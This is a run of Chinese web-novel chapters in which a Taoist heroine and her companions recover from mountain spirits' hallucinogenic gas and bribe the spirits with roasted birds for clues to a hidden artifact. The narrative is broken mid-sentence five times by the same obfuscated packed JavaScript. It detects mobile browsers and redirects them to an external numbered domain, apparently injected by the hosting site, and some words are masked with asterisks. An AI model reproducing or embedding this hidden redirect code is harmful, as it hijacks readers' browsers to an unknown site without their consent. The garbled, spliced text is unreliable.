徐菀停下脚步回身向他们望去,但见四人的衣衫与发丝都还未干透,形容略显狼狈。 尤其是白虎与流星,他们二人并无道门慧根,因而还不如朱雀和慕怀瑾恢复得那般迅速,再加上仙山上气温比先前还低,还未走多久他们便感觉又冷又饿。 徐菀见此只好让他们停下来休息片刻,流星自告奋勇为大家生火。五人一面吃着干粮,一面围着火堆而坐,将几人的袍子烘干。 而在他们填饱肚子,烤火闲聊之时,已经有许多泛着绿光的小眼睛,在暗中盯上了他们。 第386章 386.吃侯爷的豆腐 吃饱喝足,衣袍烘干后,五人都恢复了元气,在徐莞的号召下再度起身上山。 休整过后,几人的精神果然好了许多,脚步都轻快不少。 再加上山林间旖旎清丽的风光,沁人心脾的花香,和清脆鸟鸣,更为他们的寻宝之路平添了几分轻松与乐趣。 就连不时从四周低矮灌木间,疾速穿过的一些小小活物的身影,都未能影响他们寻宝探险的兴致。 就这样行了半个时辰,白虎停在一处沐浴着阳光的大石之上,双手叉腰晒着太阳,同时深吸一口气,“嗯~这山林里好香啊。是什么花草这么香?” 朱雀流星等人渐渐放慢了脚步,也细细嗅着这股香气,甚觉痴迷不已。 “是啊,确实很香。”朱雀转向徐菀问:“师父,您知道这是什么香味吗?” 徐菀侧头轻轻嗅了嗅,忽然眉头一蹙,扬手便在自己周身造出一道屏障,低吼道:“糟了!这是山精放出的屁,吸入可令人产生幻觉!你们快捂住口鼻别闻了!” 但徐菀的提醒已然晚了。 只见方才还神志清明的四人,此时皆一动不动立在原地,目光略显呆滞。 徐菀忙赶到他们身边。可她将将跑到慕怀瑾身边,他却突然蹲了下来,捡起旁边的一根树枝开始在地上挖土。 “怀瑾?怀瑾你怎么了?”徐菀摇晃着他的肩膀。 慕怀瑾抬头望了她一眼,面上的表情竟是一种纯善的木讷,而后再次低头下,认真研究起挖土坑来,纯纯像个自闭症儿童。 还不等她继续问,身侧突然传来“哇”的一声哭嚎。 徐莞即刻转头望去,但见朱雀不知为何,抱着一颗大树嚎啕大哭,口中喊着:“不要拉我!我不要去给阎王当媳妇!放过我吧!” 不远处的流星则立在原地,茫然地向四周张望着,望见朱雀后目光一顿,紧接着无比激动欣喜地向她冲去,“娘!娘你回来了!不要离开我!” 朱雀望见流星向他跑来,更加惊恐地抱住树干,吓得哇哇大哭,“别过来啊!我错了!别来找我啊!” 流星则浑然未觉,扯着她的胳膊就想钻进她怀里。 但朱雀见了他就跟见了鬼一般避之不及,恨不得一脚把他踹飞。 正当二人一个抱树,一个拉扯,相持不下时,又一个人影向他们冲了过去,抱住流星就在他脸上啵啵大亲两口! 这一举动,让朱雀和流星齐齐懵住! 二人步调一致地转头望去,原来是白虎不知怎地,突然发疯一般,看到男人就想抱着狠亲。 趁流星还没反应过来时,已被白虎抱着亲了好几大口。 流星整张脸霎时皱成一团,看起来恶心地想要**。 但她刚一举起拳头,就被朱雀抱住,“你要做什么!你这臭鬼居然想打我弟弟!” 流星蓦地一怔,回身抱住她的手臂兴奋道:“娘,弟弟也来了?娘,你们不要离开我!” 而被流星吓跑的白虎,又溜到了还在挖土的慕怀瑾身边。 只见他蹲在慕怀瑾身后,猛地勾住他的脖颈就向他的脸啃去。 慕怀瑾直接抬臂一肘打在白虎颧骨上,白虎“哎呦”痛叫一声栽倒在地,但他还不死心,再次向慕怀瑾扑去。 慕怀瑾不得不丢下他正挖的起劲的土坑,站起身绕着附近的大树跑,躲避着白虎的“强吻”。 “你…你这色胚,不要过来!给我滚远些!” 白虎却还不依不饶地追着他,面上带着痴迷向往的笑,“好哥哥你别跑啊!就让我亲一口吧!” 徐莞:“………” 一旁的徐莞望着眼前的四人,额上的冷汗都快灌满整片桑海。 山精的屁劲儿这么大的吗?幸好我及时造出结界将自己护住,否则我也要像他们一样,不知道出什么洋相了! 思及此,徐莞一阵庆幸,但立刻意识到当务之急是赶紧为他们解毒。 可山精之毒如何解呢? 下一刻,她倏然想到手札里不是写了,满山遍布的息叶草,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16063006|165054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就能够解山精之毒吗? 果然“五步之内必有解药”是真理哇! 徐莞即刻动手,先从脚边摘了一些息叶草的叶子,再捡一块石头,将息叶草放在大石块上,用小石头舂烂。 最后,将舂出汁水的叶浆舀一些在手上,准备抹在他们四人脸上。 可第一个先抹谁呢?当然是先去解救自己的夫君慕怀瑾啦。 此时,白虎还追在慕怀瑾身后与他拉拉扯扯。 徐菀轻盈一跃,两三步便来到白虎身后,一把掐住他的后脖颈让他转过头来。随后右手将那团叶浆啪的拍在他的口鼻之上。 白虎先是被拍懵了片刻,嗅了几口鼻端的息叶草气味后,突然猛地一个激灵,睁开眼侧头茫然地望向徐菀,随后一撇嘴痛叫出来,“师父您为啥搧我啊呜呜呜...” 徐菀仍旧提溜着他的衣领,气势汹汹道:“师父再不搧你,你就要把你师夫豆腐吃完了!” 白虎大大一怔,忽的转头向慕怀瑾望去,但见他脸颊和脖颈上多了好几处红印,还亮晶晶的,好似沾了口水。 白虎不自觉地抹了一下自己的嘴角,发现竟抹了一手口水,他一脸震惊地望了望自己的手,又飞快抬头望了望慕怀瑾。 最后侧头向徐菀看来,“师父,你是说我...我对侯爷...我把他...” 在白虎语无伦次和手忙脚乱之中,徐菀沉默着点了点头,“嗯。” 白虎:“!!!” 啊咧咧!要死啦!我居然吃了侯爷的豆腐!侯爷清醒过来会不会把我搧死啊! “师父,我不知道自己方才怎么了,但我真不是故意的!您不要罚我啊!”白虎求生欲极强,连忙给徐菀拜拜求原谅。 “我当然知道你不是故意的。你若是故意,不用我动手,侯爷就先把你废了。” 白虎听罢又是一惊,无意间又瞥见自己姐姐跟流星站在一块儿,像拉磨具一般,你拉过来,我拉过去。朱雀还一脸的嫌弃,这让白虎觉得十分不可思议。 第387章 387.解毒 “我姐和流星大哥在做什么?他们不是你侬我侬粘的分不开吗?为何我姐见了他跟耗子见了猫一样。流星大哥还抱着我姐喊娘?” 难道…流星大哥有那种喜欢扮演的怪癖? 徐菀轻叹一声,“你们都中了山精释放的毒气,产生了幻觉。你先别管你姐他们,先帮我抓住侯爷,我给他解毒。” 白虎的脑子还没转过弯来,就被徐莞一把薅了过去。 师命不敢违。白虎只好再次向慕怀瑾扑了过去。 哪知慕怀瑾**后身手依旧十分敏捷,将白虎揍得脸上青一块紫一块,“滚开!你这变态之人!光天化日之下竟敢强迫本候,看本候不灭了你!” 最后,还是徐莞跟白虎二人合力才将慕怀瑾控制住。 徐莞还是一巴掌将手中的草浆拍在慕怀瑾口鼻处,蓦地便让他清醒过来。 “菀菀,你们擒着我做甚?我方才怎么了?是不是中了什么道术?方才我感觉已不是自己了。” 慕怀瑾摸了摸自己被亲红的脖颈,还以为是自己方才与徐莞发生了什么,心中有一丝窃喜,又有一丝尴尬。 他斜睨向徐莞,低声试探着问:“难道是……” 徐莞与白虎不知他想的是什么,仅以为他指的是被白虎吃了豆腐。 于是徐莞沉痛地点头,白虎则没心没肺地大声脱口而出,“是啊侯爷!白虎对不住您!求您别罚我!” 慕怀瑾先是一愣,紧接着突然反应过来。 什么?白虎! 他居然被白虎…… 慕怀瑾紧紧握住拳头,强忍住**的冲动。 冷静冷静,那小子是菀菀的徒弟,我不能伤了他的徒弟。 只要我自己不尴尬,他们也不会知道我想了什么。 没错,就是如此。现下我仅需装作异常生气的模样,将白虎训斥几句便好。 思及此,慕怀瑾蓦然肃起脸,对白虎厉声道:“白虎你…” 就在白虎以为慕怀瑾要发飙时,他下意识地闭眼缩脖,可没成想慕怀瑾竟气息一缓,收回了手去。 “罢了。我们都是被道术影响才做出异于平常之事。只要你回京后莫要说出去便好。” 白虎忙不迭保证,“侯爷放心!我保证不说出去!谁都不会说!否则让师父罚我抄一千遍《道门全书》!” 徐莞:“!!!”这发誓够狠的啊! 慕怀瑾轻咳几声掩饰起自己的尴尬,“咳咳,罢了,快去救朱雀和流星。” 在慕怀瑾跟白虎的帮助下,朱雀和流星也被分开,随后分别被徐莞一人一巴掌将叶浆拍在他们口鼻上,不消片刻,二人总算也清醒过来。 “师父,我方才怎么了?为何我满脸都是泪?”朱雀用手背抹了一下面颊,发现自己满脸的泪水,眼睛都肿得睁不开。 流星清醒后则怔怔坐在地上,“方才我好像看见我娘了…夫人,我方才可有做什么不合礼数的举动?还望侯爷与夫人恕罪。” 流星说着,站起身向慕徐二人拱手请罪。 徐莞将目光投向朱雀,略略尴尬道:“你倒没对我们做什么,只是……你好像将朱雀当成你娘了……” 流星:“!!!” 朱雀:“???”他将我当成他娘了?那我岂不是可以占他便宜了? 徐菀的话音落下,朱雀与白虎都噗嗤一声笑喷了出来。 朱雀随后忍着笑抬眼看他,意味深长地揶揄道:“我若是有你这样一个儿子,可是我的福气啊。流星,要不你就做我儿子吧。” 流星:“......” 流星斜睨着她,眼神中明晃晃写着:小样儿,等回去之后看我怎么收拾你! 徐菀及时打断他们,“好了,大家莫要互相埋怨。你们方才都是被山精释放出的毒气所影响,才产生了幻觉。 我已用息叶草的草浆为你们暂时解了毒。不过待草浆干掉后便会没了效用。山精的毒气已弥漫在整片山中,过不了多久你们便会再次产生幻觉。” 这让白虎犯了愁,“这该如何呀师父?难道我们要不停地将这草浆抹在口鼻上吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16074917|165054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我想到一个法子。”慕怀瑾忽然灵思一现提议道:“既然需要草浆保持湿润才有效。我们何不准备一些布条,用草浆将其浸润,再将布条绑在脸上遮住口鼻。如此草浆便不会干得那么快了。” 几人听后顿时豁然开朗,“这倒是个好办法。” 于是,五人即刻行动起来,朱雀白虎去采摘息叶草,慕怀瑾与徐菀从携带的衣物中撕下一些布条。 流星则用石块将息叶草捣出草浆。由于需要的草浆太多,后来五人皆上手开始捣草浆。 忙活了将近半个时辰后,才终于捣出一碗草浆,末了将四根布条放在草浆中浸湿。如此,四条解毒布终于制成。 慕怀瑾等四人将其绑在面上,他们四人看上去,皆成了蒙面侠士一般。 这时,白虎发现了一个问题,“师父,为何只有我们四人带着解毒布?你不用吗?” 徐菀随手在自己身前一挥,便造出一道结界,“为师当然不用。” 话毕,便昂首挺胸朝前走去,留白虎等人留在原地,满眼艳羡钦佩。 再次踏上寻宝之路,已是午后戌时。几人又走了一个时辰,八卦罗盘却还是未探到玉拂尘的踪迹。 眼看着天色渐暗,众人都略有疲惫,徐菀便唤大家停下休息。 “天色已晚,我们若是再这样毫无头绪地在山中走下去,不仅难以寻到玉拂尘,或许还会遇到险情。现下还是先找个地方休息一晚,待明日天亮再行搜寻吧。” 慕怀瑾点头赞同,“左右玉拂尘就在此地,我们此行也不赶时间。大家也都累了,就先休息吧。” “好嘞!”白虎自告奋勇道:“那我给咱们拾些树枝树叶来,等会儿生火。” 朱雀兴致勃勃地说:“师父,我和流星在附近打些野味回来,晚上给咱们解解馋。” 徐莞睨了一眼朱雀挽在流星臂弯中的手,心中无奈地摇摇头,真是拿他们没办法。 “去吧。注意安全,别跑太远。一旦发现不对立马喊我。” “好嘞师父!” 第388章 388.山精出没 徒弟们都各自去忙后,徐莞与慕怀瑾便在附近找了一片较为平坦宽阔的高地,准备布置一下作为今晚的休憩之所。 如今虽已过六月,北疆的天气依旧清寒料峭,夜晚山里的气温更是低到冻人。 慕徐等人皆穿着厚重的冬装,还是被冻得手脚冰凉,浑身冷得难受。更别说今晚还要在此露天过夜了。 好在有慕怀瑾与流星提醒,他们此次出行带了炊具、帐篷、毡毯、汤婆子、以及几床厚实的棉被。 这些物品繁杂且沉重,几人不便背上山,还好有徐菀的小荷包,无论多大多种的物品皆可放下。 当朱雀白虎和流星回到他们安营扎寨之地时,皆不由得惊叹出声。 “师父,侯爷,你们已将帐篷搭好啦,太迅速了!” 饶使朱雀白虎知晓徐莞的小荷包里装满了他们的行李,但亲眼所见时,还是忍不住为之惊叹。 流星则更是吃惊,望着那两顶帐篷,跟帐篷之间搭好的炊架,满眼的不可思议。 “这…这些是从哪儿来的?我们上山的时候,可没带这么些物件啊。” 朱雀睨他一眼,用一种“真是没见过世面”的语气说,“没见过吧?这些物件都放在我师父的小荷包里。” 话毕,徐莞恰好又从小荷包中抽出两把折叠小板凳放在地上。 “行了,别废话了,赶紧来生火吧,冻**。” 白虎忙将自己拾来的树枝和树叶等物放在两个帐篷中间的炊架下面。 再由擅长野外行军生存的流星,用打火石帮他们将火点燃。慢慢地,一堆篝火便燃了起来。 在生火期间,徐莞来到朱雀身边,饶有兴致地瞅瞅他们都打了什么野味。 “朱雀,你们都打了什么?” 朱雀提起手里的几只野味,兴致高昂地说,“师父,我们猎到一只山鸡,一只兔子,还有几只麻雀。应该够我们吃了。” 徐莞也馋呼呼地望着那一串野味,但想到要杀生,却犯了难。 “师父我没做过杀生之事。”说着,缓缓转头望向慕怀瑾,“这处理野味之事,就交给侯爷吧。” 慕怀瑾:“......”我就长得像会杀生的人吗... 奈何爱妻开口,让流星一人宰杀野味又太过费时,慕怀瑾只好亲自上阵,拿起小刀与流星一同处理起野味来。 二人又忙活了小半时辰,才将几只野味处理好。再用白虎从附近的小溪中打来的水清洗干净,这才将其穿进树枝中,放在炊架上烤了起来。 不消片刻,一股肉香便飘了出来。 “这烤鸡好香哇。流星大哥你听到了吗?我的肚子都咕咕叫了。”白虎蹲在正在烤鸡的流星身边,口水都快流下来。 朱雀立即瞪了他一眼,“还没烤好呢,你急什么?就算烤好了,也应该先孝敬师父跟侯爷。我说的对不对呀,师父?” 话到最后,朱雀转过头对着徐菀甜甜一笑。徐菀被这两个徒弟弄得没脾气,只好笑着道:“没事儿,左右这些野味够我们吃。你们饿了就先吃。我跟侯爷吃其他的也一样。” 又过了一盏茶的功夫,流星大厨亲手烹制的烤野鸡新鲜出炉! 在高温炙烤之下,野鸡的表皮变得焦香油脆,内里的汁水却还锁在鸡肉中。一口咬下去,油香鲜嫩,满口留香,汁水和口水一齐顺着嘴角流了出来。 “哇太好吃了!”几人围坐在篝火旁,白虎一面啃着鸡腿,一面惊叹地向流星竖起大拇指,“流星大哥你这厨艺,简直比会宾楼的大厨还高超!” 朱雀将另一只大腿和鸡翅撕下来孝敬给徐菀和慕怀瑾,自己本想撕一些鸡胸肉吃,将剩下的一只鸡翅留给流星。 没成想,那只鸡翅膀竟被递到了她面前,“给,吃吧。” 顺着拿鸡翅的手向上望去,果然是流星专门将那只鸡翅给了她。 难道这就是心有灵犀,互相心中有彼此的感觉? “我吃鸡脯肉就好,这个你吃吧。”朱雀不好意思地推辞。 谁料,流星竟不由分说将那只鸡翅塞进了她的手中,“跟我还客气什么。快吃吧!” 朱雀低下头,望着那只鸡翅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16079812|165054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,心中不禁划过丝丝甜蜜与感动。 她选择的这个男人,果然没错。 夜晚幽暗的山林间,森森寒气在四周弥漫。 但在山林的这一角,橘红明亮的篝火,将漆黑的夜色照亮。 五人围着篝火而坐,每个人的面庞都被火光映照得红彤彤的,再品尝着热气腾腾又鲜美的野味,每个人的手脚与身子都由内而外热了起来。 伴着篝火的噼啪声,五人也渐渐放松下来,将这几日以来的紧张与疲惫尽数释放,肆意畅聊起来。 而在火光照不到的远处,一双双绿油油的眸子,早已将他们团团包围。 正当他们几人吃得正欢时,坐北朝南的徐菀忽然停了下来,眼眸向两侧扫了扫,低声道:“大家小心,有东西正在向我们靠近。” 方才还聊得热火朝天的几人,霎时齐齐静了下来。 “师父,你说什么东西?”朱雀亦不由得警惕起来,低声问道。 徐菀却仿若无事一般一手端起装着热水的小碗,往自己口边送,另一手则往小荷包中掏去。 “无碍,只是一些小玩意儿而已。你们继续聊着,莫要打草惊蛇。” 慕怀瑾等人闻言,都明白了徐莞的意思,十分配合地继续假装谈笑起来。 而周围的一双双绿眼睛,也离他们越来越近。 眼看着那些绿眼睛就快触碰到徐莞等人的后背时,徐莞突然将手中握着的一张符纸向篝火上方一扬。 篝火高高的火苗瞬间舔舐到符纸边缘,将其点燃。 徐莞也在同时双手结印念出一道咒语,最后再大喊一声,“定!”瞬间便将那些小玩意定在原地。 慕怀瑾与流星,朱雀与白虎也在同时从地上跳了起来,手持兵器或法器转身一看,这才看清将他们包围的小玩意,竟是一群状似树根般的东西。 “这些是什么玩意儿啊师父?”白虎吓了一跳,猛地从他脚边的一个小树根旁跳开,躲到自己姐姐身后。 徐莞轻蔑地睨了它们一眼,浑不在意道:“它们就是山精。” 第389章 389.爱吃烧鸡的山精 徐莞轻蔑地睨了它们一眼,浑不在意道:“它们就是山精。” 只见周围的小山精大约有二十来只,他们皮肤粗糙,呈深棕色,高度还不到他们的膝盖。 身上长着如树枝般细细的手脚,脑袋上还支棱着一些如干草般稀疏的毛发,看起来活像树根上长了草。 两只圆溜溜的大眼睛,如绿玛瑙般在黑夜中泛着幽幽绿光。 而此时他们皆被定在原地,还保持着被定住前鬼鬼祟祟的动作,有的抬着小腿儿,有的伸着小胳膊,面上皆带着兴奋开心的表情。 唯一能动的只有那双绿眼珠了。在眼眶里滴溜溜地转,显得十分机灵可… 可爱?算了吧。 一个个长的像老树根似的,如何能跟可爱搭上边? 况且还不知道它们有没有危险呢! “这些山精想偷袭我们,想要我们的命?”流星手持长剑警惕地对着那些山精问道。 慕怀瑾仔细望去,缓缓摇摇头,“看来不像。” 原来,有的山精被定住前,嘴巴还没闭上,哈喇子像瀑布一样从他们嘴边流出来,将脚下的一片土地都浸湿了。 “它们应该是闻到我们烤鸡的香味,馋了,所以才跑过来的。”徐莞道。 白虎惊诧,“原来山精也跟我一样,喜欢吃烧鸡呀。” 徐莞白了他一眼,向他们嘱咐道:“你们快把布巾绑上,万一它们此时再放屁,你们又要**了。” 四人忙将浸过息叶草汁的布巾绑在脸上遮住口鼻,这才放下心来。 随后,朱雀问:“师父,我们要将它们怎么办?杀了吗?” 徐莞抬眼睨向她,略略责备道:“干嘛总是打打杀杀的。这些小玩意儿对我们还有用呢。” 说罢,徐莞又一挥衣袖,哗的一下,小山精身上的定身咒顷刻间被解除。 它们未能收住去势保持平衡,控制不住纷纷栽倒在地,发出一道道尖细之声。 “哎呦!痛死我啦!” “喂你压到我啦!” “快起来!少挡路!” 而在这些小山精慢慢爬起身,准备再次往他们这边围过来时,徐莞又一翻手腕,那些山精竟齐齐被一股无形的力量倒吊在了半空中,连连伸胳膊踢腿,吱哇乱叫。 “怎么回事!” “放我们下来!” “可恶的凡人!快放我下来!” 望见这一幕,其余四人皆为徐莞高超的道术惊艳。 “喔!师父您太厉害了!” “师父您怎么做到的呀,教教徒儿吧~” “不愧是菀菀。”慕怀瑾赞赏地望向她,“我想你如此倒吊着它们,是想从他它们口中问出些什么吧?” 徐莞向他兴致盎然地点头,“对!这些山精常年在灵屿山活动,说不定会知道玉拂尘的方位。” 话毕,徐莞从炊架上拿起一根串着烤麻雀的树枝,行至那些悬挂在半空中的山精跟前,将那只烤麻雀在几只山精中间划过。 那些山精便如同打了**一般,悬空兴奋地乱蹬乱踢。 “我的!快给我吃!” “香死啦!” “啊呜!快塞我嘴里!” 小山精们闻到这肉香味,恨不得立马扑到徐莞身上,一口将那烤麻雀叼走。 幸好徐莞给他们下了倒挂金钟咒,他们想动也动不了。 恰在此时,离烤麻雀最近的一只山精张开嘴,想趁徐莞不备,伸长脖子去咬那烤麻雀。 徐莞敏捷地一个转身,瞬间便将烤麻雀转移到了另一边,让那只山精咬了个空。 “呵小东西,以为那么容易就能吃到我的烤麻雀吗?”徐菀微微扬着下巴,略带挑衅地笑望着那山精。 另一只山精忍不住喊道:“可恶的人类,大晚上的烤这么香喷喷的食物,将我们引诱过来,却又不给我们吃,不是要馋死我们嘛!” 此话即刻引来一片赞同之声。 “就是就是!” “没错!这跟深夜放毒有何区别!” “恶毒的人类!” 徐菀却是一副悠然自得的模样,转过身面向它们,举着烤麻雀笑眯眯道: “你们想吃也不是不可以。不过...**的嘴短,拿人的手软。你们既然想吃我的东西,总该还我些什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16086268|165054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么吧。” “恶毒的人类!你到底想怎样!” 此时徐菀才终于暴露自己的目的,“你们在这灵屿山中存在了数百年,应该知道当年紫霄观祖师爷,将一件道门法器藏在了这座山里吧?” 即刻便有山精叫道:“知道又如何!就算告诉你们,你们也拿不到!” “就是!那些想找那件法器的道士,全都死在了这里。你们去了也是送死!” “没错!” “就是这样!” 它们尖厉如夹子般的嗓音,听得徐菀头疼。她旋即做了个“停”的手势: “停停停!别叫了!你们别管我们会死会活。只需知道,谁要是第一个说出那件法器的下落,这只烤麻雀就归谁!” 徐菀极快地将最后一句话说完,倒吊着的山精间立刻响起尖叫声无数。 “我知道!在山的东面!” “在一片白桦树林里!” “那里有阵法!” 徐菀再次叫停,“停停停!你们一个个说!只要能提供有用的消息,都能吃到烤麻雀!” 山精们一听愈加兴奋,一个个挥着小手蹬着小脚,兴高采烈地一个接一个将自己所知尽数说了出来。 五人认真听完,慕怀瑾眼眸微亮道:“依它们所说,玉拂尘应被藏在了灵屿山东面的白桦林里,且有紫霄观祖师爷设下的阵法。” 他顿了顿,又向山精们问道:“那阵法是什么?如何破解?” “这我们哪知道?”一只小山精嗓音尖细地说,“反正几百年来,我们只见过一两个人类破解了那阵法。但他们还是没拿到那件法器。” “为什么?”朱雀忍不住问。 这时,另一只看上去年老的山精,压低声音很神秘秘说:“我听说,那里除了有阵法,还有一只大怪兽...” 此话一出,山精们即刻响起一片惊恐的抽气声。 “啊?大怪兽!” “太吓人啦!” “我也听爷爷说过,那只怪兽凶狠无比,浑身都是火。大嘴一张能把我们全都吞下去。我爷爷就是运气好才从大怪兽嘴边逃出来的!” 第390章 390.套话 说到这大怪兽,山精们皆瑟瑟发抖,避之而不及。 “到底是什么样的大怪兽?浑身都是火?”白虎开口问道。 “我们怎么知道!”山精们凶巴巴地喊道:“见过大怪兽的同类都**。你们要是想知道,就自己去啊!” 此话又引来山精们的一片附喝。 “就是就是!” “想死就自己去!” 徐莞抬手打断它们,思忖着说:“浑身都是火,又令山精闻风丧胆,我大概知道是什么了。” “到底是什么啊师父?” 徐莞将答案脱口而出,“火麒麟。” “火麒麟???” 不止是朱雀白虎十分震惊,慕怀瑾与流星的表情也异常凝重严肃。 “火麒麟如何对付,菀菀你知道吗?”慕怀瑾沉声问。 徐莞却未有任何凝重之色,依然怡然自得地点头,“当然~” 四人听后不禁松了口气,“能对付就好,能对付就好。有师父在,我们什么都不用操心!” 徐莞淡淡一笑,继续向山精们问,“你们可知如何破阵?” “不知道!”山精一个个理直气壮,“我们已经把知道的都说出来了,你们还不放我们下来!” “就是!赶紧把我们放了!我们要吃烤麻雀!” “邪恶的人类!你们是不是要说话不算话呀!” 徐莞被它们吵得耳膜生疼,连忙喊停,“停停停!这只给你行了吧。” 其余山精一看,立马炸开了锅。 “我们都给你说了,你凭什么只给我们一只麻雀?” “一只哪儿够啊!我们要一人一只!” “对!一人一只!不给我们你就是说话不算话!” 徐莞真是怕了这些山精了,“谁说我们说话不算话了?白虎!把那几只烤麻雀都拿过来。” 拿着烤麻雀正准备啃的白虎,冷不丁被一喊,蓦地愣在当地。 “师父。要是全都给它们,我们自己就不够吃了…” “不够吃不会再去打一些回来吗?”徐莞不耐烦地嘱咐,“快去!再打十几只麻雀回来!还有流星,还有怀瑾,你们都去!” 慕怀瑾流星白虎:“……” 三位男子面面相觑,终究一切还是要他们来扛…… 可是,这大晚上的,山林里乌漆麻黑,到哪儿去打麻雀啊! “为何还不去?快去!”不消片刻,徐莞的催促之音便响了起来。 三人只好站起身,拍拍袍子相视一眼,唉声叹气地慢慢走进树林里,不久便不见了踪影。 === 翌日,初晨的第一缕阳光,自茂密的树林间洒在他们的两顶帐篷上时,徐莞恰好从其中一顶帐篷里钻了出来。 昨晚她为了不让山精说她说话不算话,让慕怀瑾他们继续去树林里打麻雀。 他们三人在漆黑的树林里转了半晌,都没有发现半只麻雀的踪迹。 最后还是慕怀瑾提议他们爬到树上看看,有没有鸟窝。 流星爬了几棵树后,才终于找齐了十几只麻雀。 三人返回篝火处,又是一顿处理洗涮,再放在篝火上烤。 流星一人同时拿了四只麻雀放在篝火上烤,两只手都忙不过来。 要是照他这速度,十几只麻雀烤到明天都烤不完。 慕怀瑾见这样下去速度太慢,终究还是放下侯爷的架子,又做回了在北疆军营时的慕怀瑾,挽起袖子和流星一起烤起了麻雀。 他们二人不愧是都受过军中野营的训练,烤麻雀的手法如出一辙,烤出来的麻雀也是一样的油香鲜嫩。 山精们如同一个个小童子,在他们身后乖巧地排好队,眼巴巴等着他们烤好。 排在前面的小山精若是拿到了烤麻雀,便会兴奋地嗷叫一声,迫不及待地跑到旁边啃起来。 徐莞与朱雀立在一旁一同望着这一幕,不禁笑道: “没想到你侯爷不但会做将军,会做商贾,连厨子的活儿都不在话下。把别人的路都走完了,让别人可怎么办呀。” “就是说呀师父,”朱雀接口道:“侯爷真是十项全能。将来若是开个酒楼,也绝对能赚得盆满钵满!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16091587|165054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 说到此处,朱雀凑到徐莞身边小声说:“师父,侯爷若是真要开酒楼,麻烦您举荐流星做大厨。他就不怕无用武之地了。” 朱雀的话还未说完,她和徐莞便忍不住笑喷出来,不久两个姑娘便笑做一团。 而在篝火旁奋力烧烤的两位男子,却还不知道她们在嘀咕什么,也没心思去听。 二人一直坐在篝火旁,烤的热火朝天,额上都出了汗,不时抬起手背抹一把,不让汗流进眼睛。 徐莞与朱雀见此赶忙上前帮忙,一人蹲在一边,为他们擦汗递水。 一行人一直忙到夜半子时,才终于将十几只麻雀烤完,将那些山精打发走。 山精们啃着麻雀,口中还在嘟囔着: “那些凡人着实讨厌,但做出的食物着实好吃啊!” “就是就是!之前来的那些道士怎就不知做些好吃的出来孝敬咱们?否则也不至于两眼一抹黑,啥都找不到了。” “对了,你们几个还要在此待多久?明日能不能再给我们做些烤麻雀?” 慕怀瑾流星:“……” 放过我们吧! 因而第二日,徐菀与朱雀已起身,慕怀瑾与流星却还在睡梦中。 但昨晚没怎么出力的白虎,怎么也跟着睡到太阳晒屁股了呢? 此时,徐菀跟朱雀已来到男子们的帐篷门口,一左一右立好。 徐菀清了清喉咙,“咳咳,怀瑾你醒了吗?已经辰时了,我们要抓紧去找玉拂尘呢。” 帐篷里:“......” 等了半晌,里面传来的依然只有他们三人此起彼伏的呼噜和呼吸声。 这时,朱雀向徐菀摆了摆手,“师父,你对他们这么温柔没用的。让我来!” 朱雀说罢,两步走到帐篷门口,挽起袖子双手叉腰,向里面大声喊道:“流星!白虎!都什么时辰了你们还睡!信不信我这就冲进去把你们扔出来!” 一听到这道河东狮吼,在帐篷里横七竖八的白虎流星,猛地弹了起来,连带着将躺在一边的慕怀瑾也惊醒,三人瞬间便齐齐坐了起来。 第391章 391.寻找阵眼 